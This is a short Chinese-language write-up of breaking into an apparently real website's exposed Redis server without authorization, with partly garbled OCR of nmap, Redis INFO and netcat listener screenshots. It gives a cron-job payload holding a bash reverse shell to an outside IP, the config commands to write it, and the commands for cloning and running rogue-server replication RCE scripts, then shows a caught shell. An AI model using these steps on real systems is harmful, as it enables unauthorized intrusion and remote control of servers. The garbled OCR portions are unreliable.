[bookmark: _GoBack]记一次未授权访问redis+getshell
当我们日网站时候，常规漏洞如注入、xss等多尝试无果后，扫描端口也会发现意外收获。
本次扫到了6379也就是Redis，Redis在默认情况下，会绑定在0.0.0.0:6379，如果没有采用限制IP访问，就会将Redis服务暴露在公网上并且在没有设置密码认证的情况下，会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥等远程连接。
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当我们通过未授权访问或弱密码成功访问redis服务器，我们应该怎样进一步获取权限呢？
连接redis：Redis-cli –h 被攻击ip
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目前较主流的两个方法，第一种写入计划任务反弹shell
set x "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
第二个利用主从复制rce
这里利用第二个获取shell
首先下载脚本
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand（需要make）
git clone https://github.com/Ridter/redis-rce.git

执行脚本
python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so
[image: ]

监听之前反弹端口即可获取shell
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¢ map wuw net -p 6379
Starting Nmap /.70 ( https://nmap.or at 2019-12-19 21:52 72D1-ia?70 7?7
Stats: 0:00:15 elapsed; 8 hosts completed (1 up), 1 undergoing SYN Stealth Scal
SYN Stealth Scan Timing: About 100.00% : ETC: 21:52 (0:00:00 remaining)
Nmap scan report for www. net
Host is up (0.044s latency).

PORT STATE SERVICE
6379/tcp open redis

Nmap done: 1 IP address (1 host up) scanned in 15.85 seconds




image2.png
redis_version:2.4.6
redis_git_shal:26cddida
redis_git_dirty:o
arch_bits:64
sultiplexing api:winsock2

gcc_version:
process_id:10812
uptime_in_seconds: 1634652
uptine_in_days:18
1ru_clock:377290
used_cpu_sys:71:56
used_cpu_user:32.82
used_cpu_sys_children:0.00
ssed_cpu_user_children:e.00
connected_clients:1
connected_slaves:0
client_longest_output_list:0
client_biggest_input_buf:0
plocked_clients:e
used_memory:1197728
used_semory_human:1.14n
used_memory_rss:1197728
used_memory_peak:1223264
used_memory_peak_human:1.17
men_frageentation_ratio:1.60
men_allocator:1ibc
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[ root@ENENILsUII e~ ]# nc -lvp 8888
Ncat: Version 7.5@ ( https://nmap.org/ncat )
Ncat: Listening on 8888

Listening on ©.0.0.0:8888

Connection from-SutupG—.:..
Connection from SN : 60625.





